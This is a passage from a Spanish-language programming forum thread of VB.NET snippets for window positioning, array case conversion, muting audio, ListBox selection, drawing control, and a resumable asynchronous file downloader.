  35.            ' Find the process
  36.            proc = Process.GetProcessesByName(ProcessName).First
  37.  
  38.            ' Store the process Main Window positions and sizes into the Rectangle.
  39.            GetWindowRect(proc.MainWindowHandle, rect)
  40.  
  41.            ' Resize the Main Window
  42.            MoveWindow(proc.MainWindowHandle, _
  43.                       rect.Left, _
  44.                       rect.Top, _
  45.                       If(Not Width = Nothing, Width, (rect.Width - rect.Left)), _
  46.                       If(Not Height = Nothing, Height, (rect.Height - rect.Top)), _
  47.                       True)
  48.  
  49.        Catch ex As InvalidOperationException
  50.            'Throw New Exception("Process not found.")
  51.            MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
  52.  
  53.        Finally
  54.            rect = Nothing
  55.            If proc IsNot Nothing Then proc.Dispose()
  56.  
  57.        End Try
  58.  
  59.    End Sub
  60.  
  61. #End Region
  62.  




Desplaza la posición de la ventana de un proceso

Código
  1. #Region " Shift Process Window Position "
  2.  
  3.    ' [ Shift Process Window Position ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Shift the notepad window +10,-50 (X,Y)
  10.    ' Shift_Process_Window_Position("notepad.exe", +10, -50)
  11.    '
  12.    ' Shift the notepad window +10 (X) and preserving the original (Y) position
  13.    ' Shift_Process_Window_Position_Position("notepad.exe", +10, Nothing)
  14.  
  15.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  16.    Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
  17.    End Function
  18.  
  19.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  20.    Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
  21.    End Function
  22.  
  23.    Private Sub Shift_Process_Window_Position(ByVal ProcessName As String, ByVal X As Integer, ByVal Y As Integer)
  24.  
  25.        ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
  26.                         ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
  27.                         ProcessName)
  28.  
  29.        Dim rect As Rectangle = Nothing
  30.        Dim proc As Process = Nothing
  31.  
  32.        Try
  33.            ' Find the process
  34.            proc = Process.GetProcessesByName(ProcessName).First
  35.  
  36.            ' Store the process Main Window positions and sizes into the Rectangle.
  37.            GetWindowRect(proc.MainWindowHandle, rect)
  38.  
  39.            ' Move the Main Window
  40.            MoveWindow(proc.MainWindowHandle, _
  41.                       If(Not X = Nothing, rect.Left + X, rect.Left), _
  42.                       If(Not Y = Nothing, rect.Top + Y, rect.Top), _
  43.                       (rect.Width - rect.Left), _
  44.                       (rect.Height - rect.Top), _
  45.                       True)
  46.  
  47.        Catch ex As InvalidOperationException
  48.            'Throw New Exception("Process not found.")
  49.            MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
  50.  
  51.        Finally
  52.            rect = Nothing
  53.            If proc IsNot Nothing Then proc.Dispose()
  54.  
  55.        End Try
  56.  
  57.    End Sub
  58.  
  59. #End Region





Desplaza el tamaño de la ventana de un proceso

Código
  1. #Region " Shift Process Window Size "
  2.  
  3.    ' [ Shift Process Window Size ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '        
  9.    ' Shift the size of notepad window to +10 Width and -5 Height
  10.    ' Shift_Process_Window_Size("notepad.exe", +10, -5)
  11.    '
  12.    ' Shift the size of notepad window to +10 Width and preserving the original Height process window size.
  13.    ' Shift_Process_Window_Size("notepad.exe", +10, Nothing)
  14.  
  15.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  16.    Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As Rectangle) As Boolean
  17.    End Function
  18.  
  19.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  20.    Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, Width As Integer, Height As Integer, repaint As Boolean) As Boolean
  21.    End Function
  22.  
  23.    Private Sub Shift_Process_Window_Size(ByVal ProcessName As String, _
  24.                                      ByVal Width As Integer, _
  25.                                      ByVal Height As Integer)
  26.  
  27.        ProcessName = If(ProcessName.ToLower.EndsWith(".exe"), _
  28.                         ProcessName.Substring(0, ProcessName.LastIndexOf(".")), _
  29.                         ProcessName)
  30.  
  31.        Dim rect As Rectangle = Nothing
  32.        Dim proc As Process = Nothing
  33.  
  34.        Try
  35.            ' Find the process
  36.            proc = Process.GetProcessesByName(ProcessName).First
  37.  
  38.            ' Store the process Main Window positions and sizes into the Rectangle.
  39.            GetWindowRect(proc.MainWindowHandle, rect)
  40.  
  41.            ' Resize the Main Window
  42.            MoveWindow(proc.MainWindowHandle, _
  43.                       rect.Left, _
  44.                       rect.Top, _
  45.                       If(Not Width = Nothing, (rect.Width - rect.Left) + Width, (rect.Width - rect.Left)), _
  46.                       If(Not Height = Nothing, (rect.Height - rect.Top) + Height, (rect.Height - rect.Top)), _
  47.                       True)
  48.  
  49.        Catch ex As InvalidOperationException
  50.            'Throw New Exception("Process not found.")
  51.            MessageBox.Show("Process not found.", Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
  52.  
  53.        Finally
  54.            rect = Nothing
  55.            If proc IsNot Nothing Then proc.Dispose()
  56.  
  57.        End Try
  58.  
  59.    End Sub
  60.  
  61. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Octubre 2013, 13:37 pm
Volver todos los elementos de un Array a Lower-Case:

Código
  1. #Region " Array ToLower-Case "
  2.  
  3.    ' [ Array ToLower-Case ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Dim Elements As IEnumerable = Array_ToLowerCase({"abC", "DEf", "GhI", Nothing, ""})
  10.  
  11.    Private Function Array_ToLowerCase(ByVal [Array] As IEnumerable) As IEnumerable
  12.  
  13.        Return From str In [Array] _
  14.               Select If(String.IsNullOrEmpty(str), _
  15.                         String.Empty, str.ToLower())
  16.  
  17.    End Function
  18.  
  19. #End Region





Volver todos los elementos de un Array a Upper-Case:

Código
  1. #Region " Array_ToUpperCase "
  2.  
  3.    ' [ Array_ToUpperCase ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Dim Elements As IEnumerable = Array_ToUpperCase({"abC", "DEf", "GhI", Nothing, ""})
  10.  
  11.    Private Function Array_ToUpperCase(ByVal [Array] As IEnumerable) As IEnumerable
  12.  
  13.        Return From str In [Array] _
  14.               Select If(String.IsNullOrEmpty(str), _
  15.                         String.Empty, str.ToUpper())
  16.  
  17.    End Function
  18.  
  19. #End Region





101 Ejemplos de como usar LINQ: http://msdn.microsoft.com/en-us/vstudio/bb688088.aspx





Ejemplos de uso de la librería "TypedUnits" -> http://www.codeproject.com/Articles/611731/Working-with-Units-and-Amounts

Sirve para manejar cálculos y convertir casi todo tipo de unidades a otras unidades (Ej: Newtons, kilometros, kilogramos).


Código
  1.         Dim Conversion As TypedUnits.Amount = _
  2.             TypedUnits.UnitManager.ConvertTo(New TypedUnits.Amount( _
  3.                                              2, _
  4.                                              StandardUnits.TimeUnits.Minute), _
  5.                                              StandardUnits.TimeUnits.Second)
  6.  
  7.         MsgBox(Conversion.Value & " Seconds") ' Result: 120 Seconds
  8.  
  9.  
  10.         Dim unit As TypedUnits.Amount = _
  11.             New TypedUnits.Amount(1, StandardUnits.LengthUnits.KiloMeter)
  12.  
  13.         MsgBox(unit.Unit.Factor) ' Result: 1000


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Octubre 2013, 13:03 pm
Mutear la aplicación:

Código
  1. #Region " Mute Application "
  2.  
  3.    ' [ Mute Application ]
  4.    '
  5.    ' Examples :
  6.    ' MuteApplication()
  7.  
  8.    <System.Runtime.InteropServices.DllImport("winmm.dll")> _
  9.    Private Shared Function waveOutSetVolume(hwo As IntPtr, dwVolume As UInteger) As Integer
  10.    End Function
  11.  
  12.    Public Shared Sub MuteApplication()
  13.        Dim NewVolume As Integer = 0
  14.        Dim NewVolumeAllChannels As UInteger = ((CUInt(NewVolume) And &HFFFF) Or (CUInt(NewVolume) << 16))
  15.        waveOutSetVolume(IntPtr.Zero, NewVolumeAllChannels)
  16.    End Sub
  17.  
  18. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Octubre 2013, 20:03 pm
· Seleccionar items en un Listbox sin que el Listbox salte a la posición del nuevo item seleccionado.

Código
  1. #Region " [ListBox] Select item without jump "
  2.  
  3.    ' [ListBox] Select item without jump
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Select_Item_Without_Jump(ListBox1, 50, ListBoxItemSelected.Select)
  10.    '
  11.    ' For x As Integer = 0 To ListBox1.Items.Count - 1
  12.    '    Select_Item_Without_Jump(ListBox1, x, ListBoxItemSelected.Select)
  13.    ' Next
  14.  
  15.    Public Enum ListBoxItemSelected
  16.        [Select] = 1
  17.        [Unselect] = 0
  18.    End Enum
  19.  
  20.    Public Shared Sub Select_Item_Without_Jump(lb As ListBox, index As Integer, selected As ListBoxItemSelected)
  21.        Dim i As Integer = lb.TopIndex ' Store the selected item index
  22.        lb.BeginUpdate() ' Disable drawing on control
  23.        lb.SetSelected(index, selected) ' Select the item
  24.        lb.TopIndex = i ' Jump to the previous selected item
  25.        lb.EndUpdate() ' Eenable drawing
  26.    End Sub
  27.  
  28. #End Region





· Desactivar/Activar el Dibujado (Drawing) en un control

Código
  1. #Region " Enable-Disable Drawing on Control"
  2.  
  3.    ' Enable-Disable Drawing on Control
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' To disable drawing:
  10.    ' Control_Drawing(ListBox1, DrawingEnabled.Disable)
  11.    '  
  12.    ' To enable drawing:
  13.    ' Control_Drawing(ListBox1, DrawingEnabled.Enable)
  14.  
  15.    <System.Runtime.InteropServices.DllImport("user32.dll", _
  16.    EntryPoint:="LockWindowUpdate", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  17.    Public Shared Function LockWindow(Handle As IntPtr) As IntPtr
  18.    End Function
  19.  
  20.    Private Enum DrawingEnabled
  21.        Enable
  22.        Disable
  23.    End Enum
  24.  
  25.    Private Sub Control_Drawing(ByVal ctrl As Control, ByVal DrawingEnabled As DrawingEnabled)
  26.  
  27.        Select Case DrawingEnabled
  28.  
  29.            Case DrawingEnabled.Enable
  30.                LockWindow(ctrl.Handle)
  31.                LockWindow(IntPtr.Zero)
  32.  
  33.  
  34.            Case DrawingEnabled.Disable
  35.                LockWindow(ctrl.Handle)
  36.  
  37.        End Select
  38.  
  39.    End Sub
  40.  
  41. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 21 Octubre 2013, 14:07 pm
Una Class que nos facilitará mucho la tarea de descargar archivos de forma asincronica, para descargar archivos de forma simultanea.

Código
  1. #Region " DownloadFileAsyncExtended "
  2.  
  3. #Region " Usage Examples "
  4.  
  5. ' Public Class Form1
  6. '
  7. ' ' // Instance a new Downlaoder Class
  8. ' Private WithEvents Downloader As New DownloadFileAsyncExtended
  9. '
  10. ' ' // create a listview to update.
  11. ' Private lv As New ListView With {.View = View.Details, .Dock = DockStyle.Fill}
  12. '
  13. ' ' // create a listview item to update.
  14. ' Private lvi As New ListViewItem
  15. '
  16. ' ' // Set an url file to downloads.
  17. ' Dim url As String = "http://msft.digitalrivercontent.net/win/X17-58857.iso"
  18.  
  19.  
  20. ' Private Sub Form1_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
  21. '
  22. '     ' Add columns to listview.
  23. '     lv.Columns.AddRange({New ColumnHeader With {.Text = "Filename"}, _
  24. '                          New ColumnHeader With {.Text = "Size"}, _
  25. '                          New ColumnHeader With {.Text = "Status"}, _
  26. '                          New ColumnHeader With {.Text = "Completed"}, _
  27. '                          New ColumnHeader With {.Text = "Progress"}, _
  28. '                          New ColumnHeader With {.Text = "Speed"}, _
  29. '                          New ColumnHeader With {.Text = "Time Elapsed"}, _
  30. '                          New ColumnHeader With {.Text = "Time Left"} _
  31. '                        })
  32. '
  33. '     ' Add subitems to listview item.
  34. '     lvi.SubItems.AddRange({"Filename", "Size", "Status", "Completed", "Progress", "Speed", "Time Elapsed", "Time Left"})
  35. '
  36. '     ' Add a Object tag to the listview item,
  37. '     ' so later we can reffer to this download to pause/resume or cancel it.
  38. '     lvi.Tag = Downloader
  39. '
  40. '     ' Add the Listview control into the UI.
  41. '     Me.Controls.Add(lv)
  42. '     ' Add the Listview item into the Listview.
  43. '     lv.Items.Add(lvi)
  44. '
  45. '     ' Set Application simultaneous internet downloads limit.
  46. '     Net.ServicePointManager.DefaultConnectionLimit = 5
  47. '
  48. '     '// IMPORTANT !!
  49. '     '// If you don't add this line, then all events are raised on a separate thread,
  50. '     '// and you will get cross-thread errors when accessing the Listview,
  51. '     '// or other controls directly in the raised events.
  52. '     Downloader.SynchronizingObject = Me
  53. '
  54. '     '// Update frequency.
  55. '     '// A value higher than 500 ms will prevent the DownloadProgressChanged event,
  56. '     '// from firing continuously and hogging CPU when updating the controls.
  57. '     '// If you download small files that could be downloaded within a second,
  58. '     '// then set it to "NoDelay" or the progress might not be visible.
  59. '     Downloader.ProgressUpdateFrequency = DownloadFileAsyncExtended.UpdateFrequency.MilliSeconds_500
  60. '
  61. '     '// The method to actually download a file. The "userToken" parameter can,
  62. '     '// for example be a control you wish to update in the DownloadProgressChanged,
  63. '     '// and DownloadCompleted events. It is a ListViewItem in this example.
  64. '     Downloader.DowloadFileAsync(url, "C:\Downloaded file.iso", lvi)
  65. '
  66. ' End Sub
  67.  
  68.  
  69. ' '// This event allows you to show the download progress to the user.
  70. '
  71. ' ' e.BytesReceived = Bytes received so far.
  72. ' ' e.DownloadSpeedBytesPerSec = Download speed in bytes per second.
  73. ' ' e.DownloadTimeSeconds = Download time in seconds so far.
  74. ' ' e.ProgressPercentage = Percentage of the file downloaded.
  75. ' ' e.RemainingTimeSeconds = Remaining download time in seconds.
  76. ' ' e.TotalBytesToReceive = Total size of the file that is being downloaded.
  77. ' ' e.userToken = Usually the control(s) you wish to update.
  78. ' Private Sub DownloadProgressChanged(ByVal sender As Object, ByVal e As FileDownloadProgressChangedEventArgs) _
  79. ' Handles Downloader.DownloadProgressChanged
  80. '
  81. '     ' Get the ListViewItem we passed as "userToken" parameter, so we can update it.
  82. '     Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
  83. '
  84. '     ' Update the ListView item subitems.
  85. '     lvi.SubItems(0).Text = url
  86. '     lvi.SubItems(1).Text = String.Format("{0:#,#} KB", (e.TotalBytesToReceive / 1024))
  87. '     lvi.SubItems(2).Text = "Downloading"
  88. '     lvi.SubItems(3).Text = String.Format("{0:#,#} KB", (e.BytesReceived / 1024))
  89. '     lvi.SubItems(4).Text = e.ProgressPercentage & "%"
  90. '     lvi.SubItems(5).Text = (e.DownloadSpeedBytesPerSec \ 1024).ToString & " kB/s"
  91. '     lvi.SubItems(6).Text = String.Format("{0}:{1}:{2}", _
  92. '                            (e.DownloadTimeSeconds \ 3600).ToString("00"), _
  93. '                            ((e.DownloadTimeSeconds Mod 3600) \ 60).ToString("00"), _
  94. '                            (e.DownloadTimeSeconds Mod 60).ToString("00"))
  95. '     lvi.SubItems(7).Text = String.Format("{0}:{1}:{2}", _
  96. '                            (e.RemainingTimeSeconds \ 3600).ToString("00"), _
  97. '                            ((e.RemainingTimeSeconds Mod 3600) \ 60).ToString("00"), _
  98. '                            (e.RemainingTimeSeconds Mod 60).ToString("00"))
  99. '
  100. ' End Sub
  101.  
  102.  
  103. ' '// This event lets you know when the download is complete.
  104. ' '// The download finished successfully, the user cancelled the download or there was an error.
  105. ' Private Sub DownloadCompleted(ByVal sender As Object, ByVal e As FileDownloadCompletedEventArgs) _
  106. ' Handles Downloader.DownloadCompleted
  107. '
  108. '     ' Get the ListViewItem we passed as userToken parameter, so we can update it.
  109. '     Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
  110. '
  111. '     If e.ErrorMessage IsNot Nothing Then ' Was there an error.
  112. '
  113. '         lvi.SubItems(2).Text = "Error: " & e.ErrorMessage.Message.ToString
  114. '
  115. '         ' Set an Error ImageKey.
  116. '         ' lvi.ImageKey = "Error"
  117. '
  118. '     ElseIf e.Cancelled Then ' The user cancelled the download.
  119. '
  120. '         lvi.SubItems(2).Text = "Paused"
  121. '
  122. '         ' Set a Paused ImageKey.
  123. '         ' lvi.ImageKey = "Paused"
  124. '
  125. '     Else ' Download was successful.
  126. '
  127. '         lvi.SubItems(2).Text = "Finished"
  128. '
  129. '         ' Set a Finished ImageKey.
  130. '         ' lvi.ImageKey = "Finished"
  131. '
  132. '     End If
  133. '
  134. '     ' Set Tag to Nothing in order to remove the wClient class instance,
  135. '     ' so this way we know we can't resume the download.
  136. '     lvi.Tag = Nothing
  137. '
  138. ' End Sub
  139.  
  140.  
  141. ' '// To Resume a file:
  142. ' ' Download_Helper.Resume_Download(lvi.Tag)
  143.  
  144. ' '// To pause or cancel a file:
  145. ' ' Download_Helper.PauseCancel_Download(lvi.Tag)
  146.  
  147.  
  148. ' End Class
  149.  
  150. #End Region
  151.  
  152. Imports System.IO
  153. Imports System.Net
  154. Imports System.Threading
  155.  
  156. '// This is the main download class.
  157. Public Class DownloadFileAsyncExtended
  158.  
  159. #Region "Methods"
  160.  
  161.    Private _URL As String = String.Empty
  162.    Private _LocalFilePath As String = String.Empty
  163.    Private _userToken As Object = Nothing
  164.    Private _ContentLenght As Long = 0
  165.    Private _TotalBytesReceived As Long = 0
  166.  
  167.    '// Start the asynchronous download.
  168.    Public Sub DowloadFileAsync(ByVal URL As String, ByVal LocalFilePath As String, ByVal userToken As Object)
  169.  
  170.        Dim Request As HttpWebRequest
  171.        Dim fileURI As New Uri(URL) '// Will throw exception if empty or random string.
  172.  
  173.        '// Make sure it's a valid http:// or https:// url.
  174.        If fileURI.Scheme <> Uri.UriSchemeHttp And fileURI.Scheme <> Uri.UriSchemeHttps Then
  175.            Throw New Exception("Invalid URL. Must be http:// or https://")
  176.        End If
  177.  
  178.        '// Save this to private variables in case we need to resume.
  179.        _URL = URL
  180.        _LocalFilePath = LocalFilePath
  181.        _userToken = userToken
  182.  
  183.        '// Create the request.
  184.        Request = CType(HttpWebRequest.Create(New Uri(URL)), HttpWebRequest)
  185.        Request.Credentials = Credentials
  186.        Request.AllowAutoRedirect = True
  187.        Request.ReadWriteTimeout = 30000
  188.        Request.Proxy = Proxy
  189.        Request.KeepAlive = False
  190.        Request.Headers = _Headers '// NOTE: Will throw exception if wrong headers supplied.
  191.  
  192.        '// If we're resuming, then add the AddRange header.
  193.        If _ResumeAsync Then
  194.            Dim FileInfo As New FileInfo(LocalFilePath)
  195.            If FileInfo.Exists Then
  196.                Request.AddRange(FileInfo.Length)
  197.            End If
  198.        End If
  199.  
  200.        '// Signal we're busy downloading
  201.        _isbusy = True
  202.  
  203.        '// Make sure this is set to False or the download will stop immediately.
  204.        _CancelAsync = False
  205.  
  206.        '// This is the data we're sending to the GetResponse Callback.
  207.        Dim State As New HttpWebRequestState(LocalFilePath, Request, _ResumeAsync, userToken)
  208.  
  209.        '// Begin to get a response from the server.
  210.        Dim result As IAsyncResult = Request.BeginGetResponse(AddressOf GetResponse_Callback, State)
  211.  
  212.        '// Add custom 30 second timeout for connecting.
  213.        '// The Timeout property is ignored when using the asynchronous BeginGetResponse.
  214.        ThreadPool.RegisterWaitForSingleObject(result.AsyncWaitHandle, New WaitOrTimerCallback(AddressOf TimeoutCallback), State, 30000, True)
  215.  
  216.    End Sub
  217.  
  218.    '// Here we receive the response from the server. We do not check for the "Accept-Ranges"
  219.    '// response header, in order to find out if the server supports resuming, because it MAY
  220.    '// send the "Accept-Ranges" response header, but is not required to do so. This is
  221.    '// unreliable, so we'll just continue and catch the exception that will occur if not
  222.    '// supported and send it the DownloadCompleted event. We also don't check if the
  223.    '// Content-Length is '-1', because some servers return '-1', eventhough the file/webpage
  224.    '// you're trying to download is valid. e.ProgressPercentage returns '-1' in that case.
  225.    Private Sub GetResponse_Callback(ByVal result As IAsyncResult)
  226.  
  227.        Dim State As HttpWebRequestState = CType(result.AsyncState, HttpWebRequestState)
  228.        Dim DestinationStream As FileStream = Nothing
  229.        Dim Response As HttpWebResponse = Nothing
  230.        Dim Duration As New Stopwatch
  231.        Dim Buffer(8191) As Byte
  232.        Dim BytesRead As Long = 0
  233.        Dim ElapsedSeconds As Long = 0
  234.        Dim DownloadSpeed As Long = 0
  235.        Dim DownloadProgress As Long = 0
  236.        Dim BytesReceivedThisSession As Long = 0
  237.  
  238.        ''// Get response
  239.        Response = CType(State.Request.EndGetResponse(result), HttpWebResponse)
  240.  
  241.        '// Asign Response headers to ReadOnly ResponseHeaders property.
  242.        _ResponseHeaders = Response.Headers
  243.  
  244.        '// If the server does not reply with an 'OK (200)' message when starting
  245.        '// the download or a 'PartialContent (206)' message when resuming.
  246.        If Response.StatusCode <> HttpStatusCode.OK And Response.StatusCode <> HttpStatusCode.PartialContent Then
  247.            '// Send error message to anyone who is listening.
  248.            OnDownloadCompleted(New FileDownloadCompletedEventArgs(New Exception(Response.StatusCode), False, State.userToken))
  249.            Return
  250.        End If
  251.  
  252.        '// Create/open the file to write to.
  253.        If State.ResumeDownload Then
  254.            '// If resumed, then create or open the file.
  255.            DestinationStream = New FileStream(State.LocalFilePath, FileMode.OpenOrCreate, FileAccess.Write)
  256.        Else
  257.            '// If not resumed, then create the file, which will delete the existing file if it already exists.
  258.            DestinationStream = New FileStream(State.LocalFilePath, FileMode.Create, FileAccess.Write)
  259.            '// Get the ContentLength only when we're starting the download. Not when resuming.
  260.            _ContentLenght = Response.ContentLength
  261.        End If
  262.  
  263.        '// Moves stream position to beginning of the file when starting the download.
  264.        '// Moves stream position to end of the file when resuming the download.
  265.        DestinationStream.Seek(0, SeekOrigin.End)
  266.  
  267.        '// Start timer to get download duration / download speed, etc.
  268.        Duration.Start()
  269.  
  270.        '// Get the Response Stream.
  271.        Using responseStream As Stream = Response.GetResponseStream()
  272.            Do
  273.                '// Read some bytes.
  274.                BytesRead = responseStream.Read(Buffer, 0, Buffer.Length)
  275.  
  276.                If BytesRead > 0 Then
  277.                    '// Write incoming data to the file.
  278.                    DestinationStream.Write(Buffer, 0, BytesRead)
  279.                    '// Count the total number of bytes downloaded.
  280.                    _TotalBytesReceived += BytesRead
  281.                    '// Count the number of bytes downloaded this session (Resume).
  282.                    BytesReceivedThisSession += BytesRead
  283.                    '// Get number of elapsed seconds (need round number to prevent 'division by zero' error).
  284.                    ElapsedSeconds = CLng(Duration.Elapsed.TotalSeconds)
  285.  
  286.                    '// Update frequency
  287.                    If (Duration.ElapsedMilliseconds - DownloadProgress) >= ProgressUpdateFrequency Then
  288.                        DownloadProgress = Duration.ElapsedMilliseconds
  289.                        '// Calculate download speed in bytes per second.
  290.                        If ElapsedSeconds > 0 Then
  291.                            DownloadSpeed = (BytesReceivedThisSession \ ElapsedSeconds)
  292.                        End If
  293.                        '// Send download progress to anyone who is listening.
  294.                        OnDownloadProgressChanged(New FileDownloadProgressChangedEventArgs(_TotalBytesReceived, _ContentLenght, ElapsedSeconds, DownloadSpeed, State.userToken))
  295.                    End If
  296.  
  297.                    '// Exit loop when paused.
  298.                    If _CancelAsync Then Exit Do
  299.  
  300.                End If
  301.            Loop Until BytesRead = 0
  302.  
  303.        End Using
  304.  
  305.        Try
  306.            '// Send download progress once more. If the UpdateFrequency has been set to
  307.            '// HalfSecond or Seconds, then the last percentage returned might be 98% or 99%.
  308.            '// This makes sure it's 100%.
  309.            OnDownloadProgressChanged(New FileDownloadProgressChangedEventArgs(_TotalBytesReceived, _ContentLenght, Duration.Elapsed.TotalSeconds, DownloadSpeed, State.userToken))
  310.  
  311.            If _CancelAsync Then
  312.                '// Send completed message (Paused) to anyone who is listening.
  313.                OnDownloadCompleted(New FileDownloadCompletedEventArgs(Nothing, True, State.userToken))
  314.            Else
  315.                '// Send completed message (Finished) to anyone who is listening.
  316.                OnDownloadCompleted(New FileDownloadCompletedEventArgs(Nothing, False, State.userToken))
  317.            End If
  318.  
  319.        Catch ex As Exception
  320.            '// Send completed message (Error) to anyone who is listening.
  321.            OnDownloadCompleted(New FileDownloadCompletedEventArgs(ex, False, State.userToken))
  322.  
  323.        Finally
  324.            '// Close the file.
  325.            If DestinationStream IsNot Nothing Then
  326.                DestinationStream.Flush()
  327.                DestinationStream.Close()
  328.                DestinationStream = Nothing
  329.            End If
  330.            '// Stop and reset the duration timer.
  331.            Duration.Reset()
  332.            Duration = Nothing
  333.            '// Signal we're not downloading anymore.
  334.            _isbusy = False
  335.  
  336.        End Try
  337.  
  338.    End Sub
  339.  
  340.    '// Here we will abort the download if it takes more than 30 seconds to connect, because
  341.    '// the Timeout property is ignored when using the asynchronous BeginGetResponse.
  342.    Private Sub TimeoutCallback(ByVal State As Object, ByVal TimedOut As Boolean)
  343.  
  344.        If TimedOut Then
  345.            Dim RequestState As HttpWebRequestState = CType(State, HttpWebRequestState)
  346.            If RequestState IsNot Nothing Then
  347.                RequestState.Request.Abort()
  348.            End If
  349.        End If
  350.  
  351.    End Sub
  352.  
  353.    '// Cancel the asynchronous download.
  354.    Private _CancelAsync As Boolean = False
  355.    Public Sub CancelAsync()
  356.        _CancelAsync = True
  357.    End Sub
  358.  
  359.    '// Resume the asynchronous download.
  360.    Private _ResumeAsync As Boolean = False
  361.    Public Sub ResumeAsync()
  362.  
  363.        '// Throw exception if download is already in progress.
  364.        If _isbusy Then
  365.            Throw New Exception("Download is still busy. Use IsBusy property to check if download is already busy.")
  366.        End If
  367.  
  368.        '// Throw exception if URL or LocalFilePath is empty, which means
  369.        '// the download wasn't even started yet with DowloadFileAsync.
  370.        If String.IsNullOrEmpty(_URL) AndAlso String.IsNullOrEmpty(_LocalFilePath) Then
  371.            Throw New Exception("Cannot resume a download which hasn't been started yet. Call DowloadFileAsync first.")
  372.        Else
  373.            '// Set _ResumeDownload to True, so we know we need to add
  374.            '// the Range header in order to resume the download.
  375.            _ResumeAsync = True
  376.            '// Restart (Resume) the download.
  377.            DowloadFileAsync(_URL, _LocalFilePath, _userToken)
  378.        End If
  379.  
  380.    End Sub
  381.  
  382. #End Region
  383.  
  384. #Region "Properties"
  385.  
  386.    Public Enum UpdateFrequency
  387.        _NoDelay = 0
  388.        MilliSeconds_100 = 100
  389.        MilliSeconds_200 = 200
  390.        MilliSeconds_300 = 300
  391.        MilliSeconds_400 = 400
  392.        MilliSeconds_500 = 500
  393.        MilliSeconds_600 = 600
  394.        MilliSeconds_700 = 700
  395.        MilliSeconds_800 = 800
  396.        MilliSeconds_900 = 900
  397.        Seconds_1 = 1000
  398.        Seconds_2 = 2000
  399.        Seconds_3 = 3000
  400.        Seconds_4 = 4000
  401.        Seconds_5 = 5000
  402.        Seconds_6 = 6000
  403.        Seconds_7 = 7000
  404.        Seconds_8 = 8000
  405.        Seconds_9 = 9000
  406.        Seconds_10 = 10000
  407.    End Enum
  408.  
  409.    '// Progress Update Frequency.
  410.    Public Property ProgressUpdateFrequency() As UpdateFrequency
  411.  
  412.    '// Proxy.
  413.    Public Property Proxy() As IWebProxy
  414.  
  415.    '// Credentials.
  416.    Public Property Credentials() As ICredentials
  417.  
  418.    '// Headers.
  419.    Public Property Headers() As New WebHeaderCollection
  420.  
  421.    '// Is download busy.
  422.    Private _isbusy As Boolean = False
  423.    Public ReadOnly Property IsBusy() As Boolean
  424.        Get
  425.            Return _isbusy
  426.        End Get
  427.    End Property
  428.  
  429.    '// ResponseHeaders.
  430.    Private _ResponseHeaders As WebHeaderCollection = Nothing
  431.    Public ReadOnly Property ResponseHeaders() As WebHeaderCollection
  432.        Get
  433.            Return _ResponseHeaders
  434.        End Get
  435.    End Property
  436.  
  437.    '// SynchronizingObject property to marshal events back to the UI thread.
  438.    Private _synchronizingObject As System.ComponentModel.ISynchronizeInvoke
  439.    Public Property SynchronizingObject() As System.ComponentModel.ISynchronizeInvoke
  440.        Get
  441.            Return Me._synchronizingObject
  442.        End Get
  443.        Set(ByVal value As System.ComponentModel.ISynchronizeInvoke)
  444.            Me._synchronizingObject = value
  445.        End Set
  446.    End Property
  447.  
  448. #End Region
  449.  
  450. #Region "Events"
  451.  
  452.    Public Event DownloadProgressChanged As EventHandler(Of FileDownloadProgressChangedEventArgs)
  453.    Private Delegate Sub DownloadProgressChangedEventInvoker(ByVal e As FileDownloadProgressChangedEventArgs)
  454.    Protected Overridable Sub OnDownloadProgressChanged(ByVal e As FileDownloadProgressChangedEventArgs)
  455.        If Me.SynchronizingObject IsNot Nothing AndAlso Me.SynchronizingObject.InvokeRequired Then
  456.            'Marshal the call to the thread that owns the synchronizing object.
  457.            Me.SynchronizingObject.Invoke(New DownloadProgressChangedEventInvoker(AddressOf OnDownloadProgressChanged), _
  458.                                          New Object() {e})
  459.        Else
  460.            RaiseEvent DownloadProgressChanged(Me, e)
  461.        End If
  462.    End Sub
  463.  
  464.    Public Event DownloadCompleted As EventHandler(Of FileDownloadCompletedEventArgs)
  465.    Private Delegate Sub DownloadCompletedEventInvoker(ByVal e As FileDownloadCompletedEventArgs)
  466.    Protected Overridable Sub OnDownloadCompleted(ByVal e As FileDownloadCompletedEventArgs)
  467.        If Me.SynchronizingObject IsNot Nothing AndAlso Me.SynchronizingObject.InvokeRequired Then
  468.            'Marshal the call to the thread that owns the synchronizing object.
  469.            Me.SynchronizingObject.Invoke(New DownloadCompletedEventInvoker(AddressOf OnDownloadCompleted), _
